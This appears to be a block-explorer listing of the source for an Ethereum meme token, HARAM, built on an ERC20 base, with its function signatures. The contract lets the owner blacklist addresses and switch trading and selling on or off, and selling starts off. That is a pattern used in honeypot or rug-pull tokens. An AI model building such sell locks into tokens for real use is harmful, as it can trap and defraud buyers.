*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IUniV2Router {
function factory() external pure returns (address);
}
interface IUniV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
// File: HARAM.sol
pragma solidity ^0.8.0;
contract HARAM is ERC20, Ownable {
address public pair;
uint256 public maxHoldingAmount;
bool public tradingOn = false;
bool public sellingOn = false;
bool public limitOn = true;
mapping(address => bool) public haramlist;
constructor() ERC20("HARAM", "HARAM") {
_mint(msg.sender, 786000000000072 * 10 ** decimals());
address ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
pair = IUniV2Factory(IUniV2Router(ROUTER).factory()).createPair(WETH, address(this));
}
function setHaramlist(address _address, bool _isHaram) external onlyOwner {
haramlist[_address] = _isHaram;
}
function setRule(bool _tradingOn, bool _sellingOn, bool _limitOn, uint256 _maxHoldingAmount) external onlyOwner {
tradingOn = _tradingOn;
sellingOn = _sellingOn;
limitOn = _limitOn;
maxHoldingAmount = _maxHoldingAmount;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) override internal virtual {
require(!haramlist[to] && !haramlist[from], "SEEK ALLAH");
if (!tradingOn) {
require(from == owner() || to == owner(), "AL-SAGHA'IR");
} else {
require(sellingOn || to != pair, "AL-KABIRAH");
if (limitOn && from == pair) {
require(super.balanceOf(to) + amount <= maxHoldingAmount, "absolutely haram");
}
}
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
haramlist 0xd9cc405b → bool
limitOn 0x71f48234 → bool
maxHoldingAmount 0x89f9a1d3 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
pair 0xa8aa1b31 → address
sellingOn 0xe402aa58 → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingOn 0xfd1bc2ca → bool
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
setHaramlist 0xb671efbb
address _address
bool _isHaram
setRule 0x2cffb599
bool _tradingOn
bool _sellingOn
bool _limitOn
uint256 _maxHoldingAmount
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address